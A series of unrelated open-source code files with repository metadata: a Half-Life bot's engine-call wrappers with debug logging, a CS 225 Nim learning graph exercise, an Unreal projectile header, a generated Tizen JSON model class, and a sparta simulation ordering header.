(*g_engfuncs.pfnPEntityOfEntIndex)(iEntIndex); } edict_t* pfnFindEntityByVars(entvars_t* pvars) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFindEntityByVars:\n"); fclose(fp); } return (*g_engfuncs.pfnFindEntityByVars)(pvars); } void* pfnGetModelPtr(edict_t* pEdict) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetModelPtr: %x\n",pEdict); fclose(fp); } return (*g_engfuncs.pfnGetModelPtr)(pEdict); } int pfnRegUserMsg(const char *pszName, int iSize) { int msg; msg = (*g_engfuncs.pfnRegUserMsg)(pszName, iSize); if (gpGlobals->deathmatch) { #ifdef _DEBUG fp=fopen("bot.txt","a"); fprintf(fp,"pfnRegUserMsg: pszName=%s msg=%d\n",pszName,msg); fclose(fp); #endif if (strcmp(pszName, "ShowMenu") == 0) message_ShowMenu = msg; else if (strcmp(pszName, "WeaponList") == 0) message_WeaponList = msg; else if (strcmp(pszName, "CurWeapon") == 0) message_CurWeapon = msg; else if (strcmp(pszName, "AmmoX") == 0) message_AmmoX = msg; else if (strcmp(pszName, "AmmoPickup") == 0) message_AmmoPickup = msg; else if (strcmp(pszName, "Damage") == 0) message_Damage = msg; else if (strcmp(pszName, "Money") == 0) message_Money = msg; else if (strcmp(pszName, "DeathMsg") == 0) message_DeathMsg = msg; else if (strcmp(pszName, "ScreenFade") == 0) message_ScreenFade = msg; else if (strcmp(pszName, "TextMsg") == 0) message_TextMsg = msg; } return msg; } void pfnAnimationAutomove(const edict_t* pEdict, float flTime) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnAnimationAutomove:\n"); fclose(fp); } (*g_engfuncs.pfnAnimationAutomove)(pEdict, flTime); } void pfnGetBonePosition(const edict_t* pEdict, int iBone, float *rgflOrigin, float *rgflAngles ) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetBonePosition:\n"); fclose(fp); } (*g_engfuncs.pfnGetBonePosition)(pEdict, iBone, rgflOrigin, rgflAngles); } unsigned long pfnFunctionFromName( const char *pName ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFunctionFromName:\n"); fclose(fp); } return (*g_engfuncs.pfnFunctionFromName)(pName); } const char *pfnNameForFunction( unsigned long function ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnNameForFunction:\n"); fclose(fp); } return (*g_engfuncs.pfnNameForFunction)(function); } void pfnClientPrintf( edict_t* pEdict, PRINT_TYPE ptype, const char *szMsg ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnClientPrintf:\n"); fclose(fp); } (*g_engfuncs.pfnClientPrintf)(pEdict, ptype, szMsg); } void pfnServerPrint( const char *szMsg ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnServerPrint: %s\n",szMsg); fclose(fp); } (*g_engfuncs.pfnServerPrint)(szMsg); } void pfnGetAttachment(const edict_t *pEdict, int iAttachment, float *rgflOrigin, float *rgflAngles ) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetAttachment:\n"); fclose(fp); } (*g_engfuncs.pfnGetAttachment)(pEdict, iAttachment, rgflOrigin, rgflAngles); } void pfnCRC32_Init(CRC32_t *pulCRC) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCRC32_Init:\n"); fclose(fp); } (*g_engfuncs.pfnCRC32_Init)(pulCRC); } void pfnCRC32_ProcessBuffer(CRC32_t *pulCRC, void *p, int len) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCRC32_ProcessBuffer:\n"); fclose(fp); } (*g_engfuncs.pfnCRC32_ProcessBuffer)(pulCRC, p, len); } void pfnCRC32_ProcessByte(CRC32_t *pulCRC, unsigned char ch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCRC32_ProcessByte:\n"); fclose(fp); } (*g_engfuncs.pfnCRC32_ProcessByte)(pulCRC, ch); } CRC32_t pfnCRC32_Final(CRC32_t pulCRC) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCRC32_Final:\n"); fclose(fp); } return (*g_engfuncs.pfnCRC32_Final)(pulCRC); } long pfnRandomLong(long lLow, long lHigh) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnRandomLong: lLow=%d lHigh=%d\n",lLow,lHigh); fclose(fp); } return (*g_engfuncs.pfnRandomLong)(lLow, lHigh); } float pfnRandomFloat(float flLow, float flHigh) { // if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnRandomFloat:\n"); fclose(fp); } return (*g_engfuncs.pfnRandomFloat)(flLow, flHigh); } void pfnSetView(const edict_t *pClient, const edict_t *pViewent ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetView:\n"); fclose(fp); } (*g_engfuncs.pfnSetView)(pClient, pViewent); } float pfnTime( void ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnTime:\n"); fclose(fp); } return (*g_engfuncs.pfnTime)(); } void pfnCrosshairAngle(const edict_t *pClient, float pitch, float yaw) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCrosshairAngle:\n"); fclose(fp); } (*g_engfuncs.pfnCrosshairAngle)(pClient, pitch, yaw); } byte *pfnLoadFileForMe(char *filename, int *pLength) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnLoadFileForMe: filename=%s\n",filename); fclose(fp); } return (*g_engfuncs.pfnLoadFileForMe)(filename, pLength); } void pfnFreeFile(void *buffer) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFreeFile:\n"); fclose(fp); } (*g_engfuncs.pfnFreeFile)(buffer); } void pfnEndSection(const char *pszSectionName) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnEndSection:\n"); fclose(fp); } (*g_engfuncs.pfnEndSection)(pszSectionName); } int pfnCompareFileTime(char *filename1, char *filename2, int *iCompare) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCompareFileTime:\n"); fclose(fp); } return (*g_engfuncs.pfnCompareFileTime)(filename1, filename2, iCompare); } void pfnGetGameDir(char *szGetGameDir) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetGameDir:\n"); fclose(fp); } (*g_engfuncs.pfnGetGameDir)(szGetGameDir); } void pfnCvar_RegisterVariable(cvar_t *variable) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCvar_RegisterVariable:\n"); fclose(fp); } (*g_engfuncs.pfnCvar_RegisterVariable)(variable); } void pfnFadeClientVolume(const edict_t *pEdict, int fadePercent, int fadeOutSeconds, int holdTime, int fadeInSeconds) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnFadeClientVolume:\n"); fclose(fp); } (*g_engfuncs.pfnFadeClientVolume)(pEdict, fadePercent, fadeOutSeconds, holdTime, fadeInSeconds); } /* void pfnSetClientMaxspeed(const edict_t *pEdict, float fNewMaxspeed) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetClientMaxspeed: edict=%x %f\n",pEdict,fNewMaxspeed); fclose(fp); } (*g_engfuncs.pfnSetClientMaxspeed)(pEdict, fNewMaxspeed); } */ void pfnSetClientMaxspeed(const edict_t *pEdict, float fNewMaxspeed) { int index = UTIL_GetBotIndex((edict_t *)pEdict); if (index != -1) bots[index].max_speed = fNewMaxspeed; (*g_engfuncs.pfnSetClientMaxspeed)(pEdict, fNewMaxspeed); } edict_t * pfnCreateFakeClient(const char *netname) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnCreateFakeClient:\n"); fclose(fp); } return (*g_engfuncs.pfnCreateFakeClient)(netname); } void pfnRunPlayerMove(edict_t *fakeclient, const float *viewangles, float forwardmove, float sidemove, float upmove, unsigned short buttons, byte impulse, byte msec ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnRunPlayerMove:\n"); fclose(fp); } (*g_engfuncs.pfnRunPlayerMove)(fakeclient, viewangles, forwardmove, sidemove, upmove, buttons, impulse, msec); } int pfnNumberOfEntities(void) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnNumberOfEntities:\n"); fclose(fp); } return (*g_engfuncs.pfnNumberOfEntities)(); } char* pfnGetInfoKeyBuffer(edict_t *e) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetInfoKeyBuffer:\n"); fclose(fp); } return (*g_engfuncs.pfnGetInfoKeyBuffer)(e); } char* pfnInfoKeyValue(char *infobuffer, char *key) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnInfoKeyValue: %s %s\n",infobuffer,key); fclose(fp); } return (*g_engfuncs.pfnInfoKeyValue)(infobuffer, key); } void pfnSetKeyValue(char *infobuffer, char *key, char *value) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetKeyValue: %s %s\n",key,value); fclose(fp); } (*g_engfuncs.pfnSetKeyValue)(infobuffer, key, value); } void pfnSetClientKeyValue(int clientIndex, char *infobuffer, char *key, char *value) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnSetClientKeyValue: %s %s\n",key,value); fclose(fp); } (*g_engfuncs.pfnSetClientKeyValue)(clientIndex, infobuffer, key, value); } int pfnIsMapValid(char *filename) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnIsMapValid:\n"); fclose(fp); } return (*g_engfuncs.pfnIsMapValid)(filename); } void pfnStaticDecal( const float *origin, int decalIndex, int entityIndex, int modelIndex ) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnStaticDecal:\n"); fclose(fp); } (*g_engfuncs.pfnStaticDecal)(origin, decalIndex, entityIndex, modelIndex); } int pfnPrecacheGeneric(char* s) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnPrecacheGeneric: %s\n",s); fclose(fp); } return (*g_engfuncs.pfnPrecacheGeneric)(s); } int pfnGetPlayerUserId(edict_t *e ) { if (gpGlobals->deathmatch) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnGetPlayerUserId: %x\n",e); fclose(fp); } } return (*g_engfuncs.pfnGetPlayerUserId)(e); } void pfnBuildSoundMsg(edict_t *entity, int channel, const char *sample, /*int*/float volume, float attenuation, int fFlags, int pitch, int msg_dest, int msg_type, const float *pOrigin, edict_t *ed) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnBuildSoundMsg:\n"); fclose(fp); } (*g_engfuncs.pfnBuildSoundMsg)(entity, channel, sample, volume, attenuation, fFlags, pitch, msg_dest, msg_type, pOrigin, ed); } int pfnIsDedicatedServer(void) { if (debug_engine) { fp=fopen("bot.txt","a"); fprintf(fp,"pfnIsDedicatedServer:\n"); fclose(fp); } return (*g_engfuncs.pfnIsDedicatedServer)(); }
[ "weimingzhi@baidu.com" ]
weimingzhi@baidu.com
15367afa74bd88c49e0c01dd370468ea5486d8a6
d998115bcc7c8e4cf67b241d43ca77503a2d9c20
/cs225git/lab_ml/NimLearner.cpp
29e6d1df5eeae54215f4bea8cf8368846ec9eff9
[]
no_license
wennan-er/CS225
0683aab8dfca6c116ae484629ddc95147e933afa
0472a154ae82ecb0a4658f78fd03dd6e71d2cebe
refs/heads/master
2021-02-04T10:20:54.214491
2020-02-27T12:02:06
2020-02-27T12:02:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,198
cpp
/** * @file NimLearner.cpp * CS 225: Data Structures */ #include "NimLearner.h" #include <ctime> using namespace std; /** * Constructor to create a game of Nim with `startingTokens` starting tokens. * * This function creates a graph, `g_` representing all of the states of a * game of Nim with vertex labels "p#-X", where: * - # is the current player's turn; p1 for Player 1, p2 for Player2 * - X is the tokens remaining at the start of a player's turn * * For example: * "p1-4" is Player 1's turn with four (4) tokens remaining * "p2-8" is Player 2's turn with eight (8) tokens remaining * * All legal moves between states are created as edges with initial weights * of 0. * * @param startingTokens The number of starting tokens in the game of Nim. */ NimLearner::NimLearner(unsigned startingTokens) : g_(true, true) { /* Your code goes here! */ startingVertex_ = "p1-"+to_string(startingTokens); vector<Vertex> vertices; for (int i = int(startingTokens);i>=0; i--) { string p1 = "p1-"+to_string(i); string p2 = "p2-"+to_string(i); g_.insertVertex(p1); g_.insertVertex(p2); vertices.push_back(p1); vertices.push_back(p2); } for (unsigned i = 0; i < 2*startingTokens; i+=2){ int j = int(startingTokens)-i/2; g_.insertEdge(vertices[i],vertices[i+3]); g_.setEdgeWeight(vertices[i],vertices[i+3], 0); g_.setEdgeLabel(vertices[i], vertices[i+3], "p1-"+to_string(j-1)); g_.insertEdge(vertices[i+1],vertices[i+2]); g_.setEdgeLabel(vertices[i+1], vertices[i+2], "p2-"+to_string(j-1)); g_.setEdgeWeight(vertices[i+1],vertices[i+2], 0); if (i+5<= 2*startingTokens+1 ){ g_.insertEdge(vertices[i+1],vertices[i+4]); g_.setEdgeWeight(vertices[i+1],vertices[i+4], 0); g_.setEdgeLabel(vertices[i+1], vertices[i+4], "p2-"+to_string(j-2)); g_.insertEdge(vertices[i],vertices[i+5]); g_.setEdgeWeight(vertices[i],vertices[i+5], 0); g_.setEdgeLabel(vertices[i], vertices[i+5], "p1-"+to_string(j-2)); } } } /** * Plays a random game of Nim, returning the path through the state graph * as a vector of `Edge` classes. The `origin` of the first `Edge` must be * the vertex with the label "p1-#", where # is the number of starting * tokens. (For example, in a 10 token game, result[0].origin must be the * vertex "p1-10".) * * @returns A random path through the state space graph. */ std::vector<Edge> NimLearner::playRandomGame() const { vector<Edge> path; /* Your code goes here! */ Vertex old_state = startingVertex_; Vertex new_state; while (!g_.getAdjacent(old_state).empty()){ vector<Vertex> vec = g_.getAdjacent(old_state); if (vec.size() == 1){ new_state = vec[0]; Edge edge = g_.getEdge(old_state, new_state); path.push_back(edge); old_state = new_state; } else{ int random_number = rand()%2; new_state = vec[random_number]; Edge edge = g_.getEdge(old_state, new_state); path.push_back(edge); old_state = new_state; } } return path; } /* * Updates the edge weights on the graph based on a path through the state * tree. * * If the `path` has Player 1 winning (eg: the last vertex in the path goes * to Player 2 with no tokens remaining, or "p2-0", meaning that Player 1 * took the last token), then all choices made by Player 1 (edges where * Player 1 is the source vertex) are rewarded by increasing the edge weight * by 1 and all choices made by Player 2 are punished by changing the edge * weight by -1. * * Likewise, if the `path` has Player 2 winning, Player 2 choices are * rewarded and Player 1 choices are punished. * * @param path A path through the a game of Nim to learn. */ void NimLearner::updateEdgeWeights(const std::vector<Edge> & path) { /* Your code goes here! */ //determine p1 or p2 win and update their weight int upWeight_p1; int upWeight_p2; if (path.back().dest == "p1-0"){//p2 took the last token : p2 win upWeight_p1 = -1; upWeight_p2 = 1; } else{ upWeight_p1 = 1; upWeight_p2 = -1; } for (int i = 0; i < int(path.size()); i++){ if (i%2 == 0){ Edge edge = path[i]; int oriWeight = g_.getEdgeWeight(edge.source, edge.dest); g_.setEdgeWeight(edge.source, edge.dest, oriWeight+upWeight_p1); }else{ Edge edge = path[i]; int oriWeight = g_.getEdgeWeight(edge.source, edge.dest); g_.setEdgeWeight(edge.source, edge.dest, oriWeight+upWeight_p2); } } } /** * Label the edges as "WIN" or "LOSE" based on a threshold. */ void NimLearner::labelEdgesFromThreshold(int threshold) { for (const Vertex & v : g_.getVertices()) { for (const Vertex & w : g_.getAdjacent(v)) { int weight = g_.getEdgeWeight(v, w); // Label all edges with positve weights as "WINPATH" if (weight > threshold) { g_.setEdgeLabel(v, w, "WIN"); } else if (weight < -1 * threshold) { g_.setEdgeLabel(v, w, "LOSE"); } } } } /** * Returns a constant reference to the state space graph. * * @returns A constant reference to the state space graph. */ const Graph & NimLearner::getGraph() const { return g_; }
[ "wennanh2@illinois.edu" ]
wennanh2@illinois.edu
0e92d19c64e147de7d4197150152c770bd51e21a
70ded166f2ad8fa39a5e3b9e0a0a169e1218faa2
/BattleTank/Source/BattleTank/Public/Projectile.h
84c272d28a624d096a980e52e0584f18f40a9cad
[]
no_license
littlefalcon/04_BattleTank
6a527dd892a13220127eb2b1a6c434902d7ba9bd
3febcfbf86d04df4be3ebeee4dbbf8e487e8cf59
refs/heads/master
2020-06-01T04:45:10.676964
2017-06-16T13:18:02
2017-06-16T13:18:02
94,062,376
0
0
null
null
null
null
UTF-8
C++
false
false
669
h
// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "GameFramework/Actor.h" #include "Projectile.generated.h" class UProjectileMovementComponent; UCLASS() class BATTLETANK_API AProjectile : public AActor { GENERATED_BODY() public: // Sets default values for this actor's properties AProjectile(); protected: // Called when the game starts or when spawned virtual void BeginPlay() override; public: // Called every frame virtual void Tick(float DeltaTime) override; void LaunchProjectile(float speed); private: UProjectileMovementComponent* ProjectileMovement = nullptr; };
[ "pointkkc@hotmail.com" ]
pointkkc@hotmail.com
9d964c32bc67041b03a235ac2c109910dbb4bee1
5ec06dab1409d790496ce082dacb321392b32fe9
/clients/cpp-tizen/generated/src/ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo.cpp
6407ba62d0fe7419d283a3d17be6f0364f1ead64
[ "Apache-2.0" ]
permissive
shinesolutions/swagger-aem-osgi
e9d2385f44bee70e5bbdc0d577e99a9f2525266f
c2f6e076971d2592c1cbd3f70695c679e807396b
refs/heads/master
2022-10-29T13:07:40.422092
2021-04-09T07:46:03
2021-04-09T07:46:03
190,217,155
3
3
Apache-2.0
2022-10-05T03:26:20
2019-06-04T14:23:28
null
UTF-8
C++
false
false
5,635
cpp
#include <map> #include <cstdlib> #include <glib-object.h> #include <json-glib/json-glib.h> #include "Helpers.h" #include "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo.h" using namespace std; using namespace Tizen::ArtikCloud; ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo() { //__init(); } ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::~ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo() { //__cleanup(); } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::__init() { //pid = std::string(); //title = std::string(); //description = std::string(); //properties = new ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties(); } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::__cleanup() { //if(pid != NULL) { // //delete pid; //pid = NULL; //} //if(title != NULL) { // //delete title; //title = NULL; //} //if(description != NULL) { // //delete description; //description = NULL; //} //if(properties != NULL) { // //delete properties; //properties = NULL; //} // } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::fromJson(char* jsonStr) { JsonObject *pJsonObject = json_node_get_object(json_from_string(jsonStr,NULL)); JsonNode *node; const gchar *pidKey = "pid"; node = json_object_get_member(pJsonObject, pidKey); if (node !=NULL) { if (isprimitive("std::string")) { jsonToValue(&pid, node, "std::string", ""); } else { } } const gchar *titleKey = "title"; node = json_object_get_member(pJsonObject, titleKey); if (node !=NULL) { if (isprimitive("std::string")) { jsonToValue(&title, node, "std::string", ""); } else { } } const gchar *descriptionKey = "description"; node = json_object_get_member(pJsonObject, descriptionKey); if (node !=NULL) { if (isprimitive("std::string")) { jsonToValue(&description, node, "std::string", ""); } else { } } const gchar *propertiesKey = "properties"; node = json_object_get_member(pJsonObject, propertiesKey); if (node !=NULL) { if (isprimitive("ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties")) { jsonToValue(&properties, node, "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties", "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties"); } else { ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties* obj = static_cast<ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties*> (&properties); obj->fromJson(json_to_string(node, false)); } } } ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo(char* json) { this->fromJson(json); } char* ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::toJson() { JsonObject *pJsonObject = json_object_new(); JsonNode *node; if (isprimitive("std::string")) { std::string obj = getPid(); node = converttoJson(&obj, "std::string", ""); } else { } const gchar *pidKey = "pid"; json_object_set_member(pJsonObject, pidKey, node); if (isprimitive("std::string")) { std::string obj = getTitle(); node = converttoJson(&obj, "std::string", ""); } else { } const gchar *titleKey = "title"; json_object_set_member(pJsonObject, titleKey, node); if (isprimitive("std::string")) { std::string obj = getDescription(); node = converttoJson(&obj, "std::string", ""); } else { } const gchar *descriptionKey = "description"; json_object_set_member(pJsonObject, descriptionKey, node); if (isprimitive("ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties")) { ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties obj = getProperties(); node = converttoJson(&obj, "ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties", ""); } else { ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties obj = static_cast<ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties> (getProperties()); GError *mygerror; mygerror = NULL; node = json_from_string(obj.toJson(), &mygerror); } const gchar *propertiesKey = "properties"; json_object_set_member(pJsonObject, propertiesKey, node); node = json_node_alloc(); json_node_init(node, JSON_NODE_OBJECT); json_node_take_object(node, pJsonObject); char * ret = json_to_string(node, false); json_node_free(node); return ret; } std::string ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getPid() { return pid; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setPid(std::string pid) { this->pid = pid; } std::string ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getTitle() { return title; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setTitle(std::string title) { this->title = title; } std::string ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getDescription() { return description; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setDescription(std::string description) { this->description = description; } ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::getProperties() { return properties; } void ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobInfo::setProperties(ComAdobeCqScreensImplJobsDistributedDevicesStatiUpdateJobProperties properties) { this->properties = properties; }
[ "cliffano@gmail.com" ]
cliffano@gmail.com
90ebae06da197afe5d46fb10a66fd5a9578b6644
5918a09f1d8d36286662f55a05f1f239fc4c6040
/sparta/sparta/events/GlobalOrderingPoint.hpp
c7274a5629ba1c4d43a71e1db6b3bb136144c9fa
[ "Apache-2.0" ]
permissive
sparcians/map
ad10249cc2f33ae660ca2f54fc710c379f3977bd
c2d5db768967ba604c4747ec5e172ff78de95e47
refs/heads/master
2023-09-01T17:56:53.978492
2023-08-28T21:40:12
2023-08-28T21:40:12
227,639,638
107
40
Apache-2.0
2023-09-06T01:17:39
2019-12-12T15:37:36
C++
UTF-8
C++
false
false
3,354
hpp
// <GlobalOrderingPoint.hpp> -*- C++ -*- #pragma once #include "sparta/utils/Utils.hpp" #include "sparta/kernel/DAG.hpp" #include "sparta/kernel/Scheduler.hpp" #include "sparta/simulation/TreeNode.hpp" #include <string> namespace sparta { /*! * \class GlobalOrderingPoint * \brief Used to set precedence between Scheduleable types across simulation * * In cases where two events in different blocks need * synchronization, this class can allow a modeler to set a * precedence between those entities, even across blocks that do * not know about each other. * * Example: a core's load/store unit needs to send "ready" to the * middle machine for operand readiness. The middle machine will * pick the instruction that corresponds to that ready signal _on * the same cycle_ the load/store sends ready. The modeler * requires the load/store unit to be scheduled first before the * middle machine's picker: * * \code * class LSU { * EventT ev_send_ready_; * }; * * class MidMachine { * EventT pick_instruction_; * }; * \endcode * * In the above case, the event `ev_send_ready_` _must be scheduled before_ `pick_instruction_`. * * To do this, set up a sparta::GlobalOrderingPoint in both unit's constructors: * * \code * LSU::LSU(sparta::TreeNode * container, const LSUParameters*) * { * // Sent ready signal MUST COME BEFORE the GlobalOrderingPoint * ev_send_ready_ >> sparta::GlobalOrderingPoint(container, "lsu_midmachine_order"); * } * * MidMachine::MidMachine(sparta::TreeNode * container, const MidMachineParameters*) * { * // The GlobalOrderingPoint must come before picking * sparta::GlobalOrderingPoint(container, "lsu_midmachine_order") >> pick_instruction_; * } * \endcode * * The modeler must ensure the name of the * sparta::GlobalOrderingPoint is the *same* on both calls. */ class GlobalOrderingPoint { public: /** * \brief Construction a GlobalOrderingPoint * * \param node The node this GOP is associated with * \param name The name that's used to register with the internal DAG * * See descition for use */ GlobalOrderingPoint(sparta::TreeNode * node, const std::string & name) : name_(name) { auto scheduler = notNull(node)->getScheduler(); dag_ = notNull(scheduler)->getDAG(); gordering_point_ = notNull(dag_)->getGOPoint(name); sparta_assert(nullptr != gordering_point_, "Issues trying to get GOPoint " << name); } /** * \brief Handy method for debug * \return The name of this GOP */ const std::string & getName() const { return name_; } /** * \brief Used by the precedence rules * \return The internal GOP from the internal DAG */ DAG::GOPoint * getGOPoint() const { return gordering_point_; } private: DAG * dag_ = nullptr; DAG::GOPoint * gordering_point_ = nullptr; const std::string name_; }; }
[ "56927209+klingaard@users.noreply.github.com" ]
56927209+klingaard@users.noreply.github.com
17bb80c8fc10d15da813694a5d327d97fb7d9175
2c964aa13ccafcfca1de58a623443efb5d38c66a
/model/user_base.h
59532ccb49915c71f0afc3dee8fa1436ede4a05a
[]
no_license
giuliaamato/japp_games-and-consoles
cc09b52b440ae60f1345befeab4b6f01171f2806
b4895da6e7422cc113ff795c024c7664fb78c340
refs/heads/master
2021-09-11T16:48:18.064837
2018-04-09T23:07:49
2018-04-09T23:07:49
null
0
0
null
null
null
null
UTF-8
C++
false
false
476
h
/* * Classe dedicata all'utente base. */ #ifndef USER_BASE #define USER_BASE #include "user.h" #include "product.h" #include "product_database.h" class User_Base: public User{ public: User_Base(const QString& _nick="", const QString& _pw="", const QString& _name="", const QString& _surname=""); QString getLabel() const; virtual bool ModifyUsers() const; virtual bool ModifyProducts() const; virtual bool premiumFunctions() const; }; #endif // USER_BASE
[ "noreply@github.com" ]
giuliaamato.noreply@github.com
9bfb1bfb392276096beccc7e73cbfb93320dc0b1
88a759d540bbd1c59a4d6558b357c78dfd875d88
/acceleratedcpp/chapt6/analysis.cc
6638e449c32943a82d121249a847c930480a3546
[]
no_license
ivantan/cppdevelopment
20d7df1de7145378af9919989f1a1455cd64884b
aa7ac87c98afbda167ea55dfef1687d6a4455bcd
refs/heads/master
2016-08-03T05:42:06.446905
2015-08-24T13:41:17
2015-08-24T13:41:17
28,193,100
0
0
null
null
null
null
UTF-8
C++
false
false
2,170
cc
#include <algorithm> #include <iostream> #include <iterator> #include <numeric> #include <stdexcept> #include <vector> #include "Student_info.h" #include "grade.h" #include "median.h" using std::accumulate; using std::back_inserter; using std::domain_error; using std::endl; using std::ostream; using std::remove_copy; using std::string; using std::transform; using std::vector; double grade_aux(const Student_info& s) { try { return grade(s); } catch (domain_error) { return grade(s.midterm, s.final, 0); } } double median_analysis(const vector<Student_info>& students) { vector<double> grades; transform(students.begin(), students.end(), back_inserter(grades), grade_aux); return median(grades); } void write_analysis(ostream& out, const string& name, double analysis(const vector<Student_info>&), const vector<Student_info>& did, const vector<Student_info>& didnt) { out << name << ": median(did) = " << analysis(did) << ", median(didnt) = " << analysis(didnt) << endl; } double average(const vector<double>& v) { return accumulate(v.begin(), v.end(), 0.0) / v.size(); } double average_grade(const Student_info& s) { return grade(s.midterm, s.final, average(s.homework)); } double average_analysis(const vector<Student_info>& students) { vector<double> grades; transform(students.begin(), students.end(), back_inserter(grades), average_grade); return median(grades); } // median of the nonzero elements of `s.homework', or `0' if no such elements exist double optimistic_median(const Student_info& s) { vector<double> nonzero; remove_copy(s.homework.begin(), s.homework.end(), back_inserter(nonzero), 0); if (nonzero.empty()) return grade(s.midterm, s.final, 0); else return grade(s.midterm, s.final, median(nonzero)); } double optimistic_median_analysis(const vector<Student_info>& students) { vector<double> grades; transform(students.begin(), students.end(), back_inserter(grades), optimistic_median); return median(grades); }
[ "ivan.wjt@gmail.com" ]
ivan.wjt@gmail.com
9253c5f9fd43b9f652dea6d70bfae9c6464075f1
52e24cae58e3abf501dbf48ac900220000fc387d
/routines/Magic.cpp
8727af8ca3b21c433e858af6e8f51176c84f0d14
[]
no_license
DanielSmithMichigan/x
5049775e5970a4c06f33a3a9663a948b5b6fa792
dad139ff3b3e6ee6da1cb4b204d77cc666ae494b
refs/heads/master
2020-03-24T12:48:38.472142
2016-08-19T17:23:07
2016-08-19T17:23:07
142,725,078
0
0
null
null
null
null
UTF-8
C++
false
false
255
cpp
#ifndef magic_cpp #define magic_cpp #include "Magic.h" #define THREE_KEY 65548 Magic::Magic() { } Magic::~Magic() { } void Magic::run() { while(true) { cout << "PRESSING" << endl; nsleep(1000); keypress(THREE_KEY, 25); } } #endif
[ "dsmith@ltu.edu" ]
dsmith@ltu.edu
598afd77d3fc59490869b9c462f3ff3bc4e8b966
0ce33ddb5a912652be7947485bac4435a7fff344
/8-segment-led/SegmentLED.ino
e4b12000b5d5deff7b9ee9cbdb3fec8e8e78cb2f
[ "MIT" ]
permissive
michaelachrisco/Arduino-projects
b2cf4206e9bb486dd11035b36808544e504a5320
